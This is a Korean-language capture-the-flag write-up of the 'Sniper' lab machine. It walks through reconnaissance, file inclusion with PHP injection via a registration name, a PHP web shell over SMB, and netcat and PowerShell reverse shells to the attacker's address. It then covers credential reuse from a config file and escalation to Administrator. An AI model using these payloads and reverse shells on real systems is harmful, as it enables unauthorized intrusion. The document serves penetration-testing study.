Sniper

1. 정찰

1.1. nmap

nmap 정찰 결과 80 포트가 서비스 중인 것이 눈에 띈다.

┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# nmap -sC -sV 10.129.229.6 --max-retries 1 --min-rate 5000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-01 20:58 +04
Nmap scan report for 10.129.229.6
Host is up (0.36s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Sniper Co.
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-01-01T23:59:15
|_  start_date: N/A
|_clock-skew: 6h59m22s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.43 seconds

1.2. Login 페이지 식별

로그인 페이지를 식별할 수 있다. 이 때 ID 를 test 로 만든다. 이메일은 test@test.com 으로, 비밀번호도 test 로 만들었다.

로그인 해서 접근을 하면 다음과 같이 사이트 수리중임을 알 수 있다.

1.3. blog 페이지 식별

blog 페이지에 들어갔더니 LFI 가 가능해 보이는 흔적을 찾았다. blog-en.php 를 다른 파일로 변경할 수 있을 것으로 기대한다.

1.4. \windows\wmi.ini 파일 열거

앞서 135/139번 포트가 열린 거로 보아 Windows 서비스 임을 유추해볼 수 있는데, 여기서 나아가 \windows\wmi.ini 파일이 열리는지 확인해 본다.

해당 파일을 확인해 보면 아래와 같은 내용을 소스코드에서 식별할 수 있다.

1.5. PHPSESSID 확인

Windows 에서 제공하는 웹서비스는 \windows\temp\SESS_00000000 와 같이 파일을 통해서 접근이 가능하다. 그래서 PHPSESSID 를 확인해 본다.

그 다음에 LFI 를 통해서 접근을 시도한다.

회원 가입했던 아이디가 출력되는 것을 확인할 수 있다.

2. LFI 악용

2.1. 회원 가입 아이디 오용

만약에 회원 가입을 할 때 아이디를 <?php system("whoami") ?> 와 같이 하면 어떻게 되는지 확인한다.

그리고 똑같이 확인하니까 nt authority\iusr 이라고 출력되는 것을 확인할 수 있다.

2.2. 리버스 쉘

2.2.1. base64 인코딩을 통한 리버스 쉘 맺기

그러면 리버스 쉘을 맺기 위한 작업을 한다.

리버스 쉘을 맺기에 앞서, 회원가입 시 아이디를 받을 때 모든 문자열이 들어가지 않든다. 특히 싱글쿼터 같은 경우에는 필터링을 하는 조건이 있기 때문에 싱글쿼터를 넣을 수 없어서 백틱(`)을 넣어서 사용해야 한다. 그 외에도 다른 규칙들이 존재하지만 현재 블랙박스 침투 환경이기 때문에 확인할 수 없으므로 최대한 간단하게 만드는 방안을 강구한다.

따라서 powershell 을 통해서 리버스 쉘을 맺어야 하기 때문에 base64 로 인코딩을 하는 방법을 채택했다.

┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# echo 'cmd /c "\\10.10.14.143\share\nc.exe -e cmd 10.10.14.143 443"' | iconv -f ascii -t utf-16le | base64 -w0 
YwBtAGQAIAAvAGMAIAAiAFwAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ADMAXABzAGgAYQByAGUACgBjAC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADEANAAzACAANAA0ADMAIgAKAA==

그 다음 아이디를 아래와 같은 문자열로 만들어 준다.

<?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ADMAXABzAGgAYQByAGUACgBjAC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADEANAAzACAANAA0ADMAIgAKAA==` ?>

2.2.2. --data-urlencode 값에 명령어 넣기

다른 방식의 리버스 쉘을 맺는 방법에 대해서도 확인한다. 먼저 cmd.php 를 만들어서 간단하게 웹쉘을 사용할 수 있는 거를 smbserver 를 열어서 접근 가능하게 한다.

┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# cat cmd.php   
<?php system($_REQUEST['cmd']); ?>
┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# impacket-smbserver share . -smb2support 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

이후 --data-urlencodelang 에 해당하는 옵션이 smbserver 에 접근할 수 있는 링크를, cmdwhoami 와 같은 명령어를 전달한다. 그러면 nt authority\iusr 가 정상 출력되는 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# curl -s -G 'http://10.129.229.6/blog/' --data-urlencode 'lang=\\10.10.14.143\share\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/<\/html>/,/<\/body>/p'            
</html>
nt authority\iusr
</body>
</html>

정상적으로 출력되는 걸 확인했으니 nc 를 이용해서 리버스 쉘을 맺을 수 있도록 명령어를 전달한다.

┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# curl -s -G 'http://10.129.229.6/blog/' --data-urlencode 'lang=\\10.10.14.143\share\cmd.php' --data-urlencode 'cmd=\\10.10.14.143\share\nc.exe -e cmd.exe 10.10.14.143 443'

그리고 리버스 쉘이 맺어지는 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# rlwrap nc -lnvp 443 
listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.229.6] 49729
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\blog>

3. Lateral Movement

3.1. config 파일 확인

먼저 웹 서비스에 관한 유저이기 때문에 많은 권한이 없을 거라고 추정할 수 있다. 그래서 데이터베이스에 접근할 수 있는 계정을 먼저 식별한다. 그 중에 눈에 띄는 게 db.php 파일이다.

C:\inetpub\wwwroot\blog>cd ..
cd ..

C:\inetpub\wwwroot>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\inetpub\wwwroot

04/11/2019  09:51 AM    <DIR>          .
04/11/2019  09:51 AM    <DIR>          ..
04/11/2019  04:23 AM    <DIR>          blog
04/11/2019  04:23 AM    <DIR>          css
04/11/2019  04:23 AM    <DIR>          images
04/11/2019  04:22 PM             2,635 index.php
04/11/2019  04:23 AM    <DIR>          js
04/11/2019  04:23 AM    <DIR>          scss
10/01/2019  07:44 AM    <DIR>          user
               1 File(s)          2,635 bytes
               8 Dir(s)   2,422,276,096 bytes free

C:\inetpub\wwwroot>cd user
cd user

C:\inetpub\wwwroot\user>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\inetpub\wwwroot\user

10/01/2019  07:44 AM    <DIR>          .
10/01/2019  07:44 AM    <DIR>          ..
04/11/2019  04:15 PM               108 auth.php
04/11/2019  04:52 AM    <DIR>          css
04/11/2019  09:51 AM               337 db.php
04/11/2019  04:23 AM    <DIR>          fonts
04/11/2019  04:23 AM    <DIR>          images
04/11/2019  05:18 AM             4,639 index.php
04/11/2019  04:23 AM    <DIR>          js
04/11/2019  05:10 AM             6,463 login.php
04/08/2019  10:04 PM               148 logout.php
10/01/2019  07:42 AM             7,192 registration.php
08/14/2019  09:35 PM             7,004 registration_old123123123847.php
04/11/2019  04:23 AM    <DIR>          vendor
               7 File(s)         25,891 bytes
               7 Dir(s)   2,422,276,096 bytes free

db.php 파일을 확인해 보면 mysql 에 대해서 dbuser 라는 계정과 36mEAhz/B8xQ~2VM 의 비밀번호를 갖고 있다. 하지만 dbuser 가 서버의 계정일 거라고 생각하지는 않는다.

C:\inetpub\wwwroot\user>type db.php
type db.php
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }
?>

C:\Users 폴더로 갔을 때 Chris 라는 계정이 존재한다. 해당 비밀번호가 Chris 의 비밀번호 일 수도 있다고 “추정” 정도는 할 수 있다.

C:\inetpub\wwwroot\user>dir C:\Users
dir C:\Users
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\Users

04/11/2019  06:04 AM    <DIR>          .
04/11/2019  06:04 AM    <DIR>          ..
04/09/2019  05:47 AM    <DIR>          Administrator
04/11/2019  06:04 AM    <DIR>          Chris
04/09/2019  05:47 AM    <DIR>          Public
               0 File(s)              0 bytes
               5 Dir(s)   2,197,118,976 bytes free

3.2. Chris 권한 탈취

먼저 Chris 계정을 탈취하기 위해 runas 를 실행시켜서 Chirs 의 권한으로 리버스 쉘을 맺고 싶다. 그래서 RunasCS 를 이용해서 실행시키려고 한다. 하지만 RunasCs 를 통해서 접근하려고 했으나 다운로드가 되지 않는다.

PS C:\inetpub\wwwroot\user> powershell Invoke-WebRequest http://10.10.14.143/RunasCs.exe -OutFile RunasCs.exe
powershell Invoke-WebRequest http://10.10.14.143/RunasCs.exe -OutFile RunasCs.exe
Invoke-WebRequest : Access to the path 'C:\inetpub\wwwroot\user\RunasCs.exe' is denied.
At line:1 char:1
+ Invoke-WebRequest http://10.10.14.143/RunasCs.exe -OutFile RunasCs.ex ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Invoke-WebRequest], UnauthorizedAccessException
    + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

Temp 폴더에 들어가서 다운로드를 시도했고, 다운로드가 성공했으나, dir 이 먹히지 않는다.

PS C:\Windows\Temp> Invoke-WebRequest http://10.10.14.143/RunasCs.exe -OutFile RunasCs.exe
Invoke-WebRequest http://10.10.14.143/RunasCs.exe -OutFile RunasCs.exe
PS C:\Windows\Temp> dir
dir
dir : Access to the path 'C:\Windows\Temp' is denied.
At line:1 char:1
+ dir
+ ~~~
    + CategoryInfo          : PermissionDenied: (C:\Windows\Temp:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

그냥 바로 실행시키니까 정상 작동하기에, 바로 실행시켜서 443번 포트를 이용해서 리버스 쉘을 맺는다.

C:\Windows\Temp>.\RunasCs.exe
.\RunasCs.exe
[-] Not enough arguments. 3 Arguments required. Use --help for additional help.
PS C:\Windows\Temp> .\RunasCs.exe "Chris" "36mEAhz/B8xQ~2VM" cmd.exe -r 10.10.14.143:443
.\RunasCs.exe "Chris" "36mEAhz/B8xQ~2VM" cmd.exe -r 10.10.14.143:443

[+] Running in session 0 with process function CreateProcessWithTokenW()
[+] Using Station\Desktop: Service-0x0-3e3$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 5424 created in background.

Chris 계정으로의 쉘이 맺어진 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Sniper]
└─# rlwrap -cAr nc -lnvp 443        

listening on [any] 443 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.229.6] 49785
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
sniper\chris

C:\Windows\system32>

3.3. user.txt 의 flag 획득

C:\Users\Chris\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\Users\Chris\Desktop

04/11/2019  07:15 AM    <DIR>          .
04/11/2019  07:15 AM    <DIR>          ..
01/01/2026  03:54 PM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   2,132,213,760 bytes free

4. 권한 상승

4.1. Docs 디렉토리 톺아보기

먼저 C:\ 에 가서 폴더를을 확인해 보면 Docs 파일이 존재하는 것을 확인할 수 있다.

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AE98-73A8

 Directory of C:\

10/01/2019  12:04 PM    <DIR>          Docs
04/09/2019  06:07 AM    <DIR>          inetpub
04/11/2019  05:44 AM    <DIR>          Microsoft
09/14/2018  11:19 PM    <DIR>          PerfLogs
04/29/2022  12:18 PM    <DIR>          Program Files
08/14/2019  09:38 PM    <DIR>          Program Files (x86)
04/11/2019  06:04 AM    <DIR>          Users
04/29/2022  12:19 PM    <DIR>          Windows
               0 File(s)              0 bytes
               8 Dir(s)   2,132,213,760 bytes free

C:\>cd Docs
cd Docs

C:\Docs>

해당 디렉토리에 note.txt 가 존재해서 읽어보면 아래와 같은 메시지가 남아 있다.

C:\Docs>type note.txt
type note.txt
Hi Chris,
        Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Regards,
Sniper CEO.
C:\Docs>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

(생략) 사유 : Windows 환경을 통해 CHM 파일을 확인하고 생성할 여건이 안 됨 / Apple 실리콘 맥북 사용 중

4.2. root.txt 의 flag 획득

파워쉘을 이용해 리버스 쉘을 맺을 명령어를 전달한다.

PS C:\Docs> $password = convertto-securestring -AsPlainText -Force -String "butterfly!#1";
$password = convertto-securestring -AsPlainText -Force -String "butterfly!#1";
PS C:\Docs> $credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "SNIPER\Administrator",$password;
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "SNIPER\Administrator",$password;
PS C:\Docs> Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.143 5555} -credential $credential;
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.143 5555} -credential $credential;

명령어가 정상 실행 됐으면 flag 를 획득할 수 있다.

┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.229.6] 49789
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Documents>whoami
whoami
sniper\administrator

C:\Users\Administrator\Documents>cd ..
cd ..

C:\Users\Administrator>cd Desktop
cd Desktop

C:\Users\Administrator\Desktop>type root.txt
type root.txt
Updated on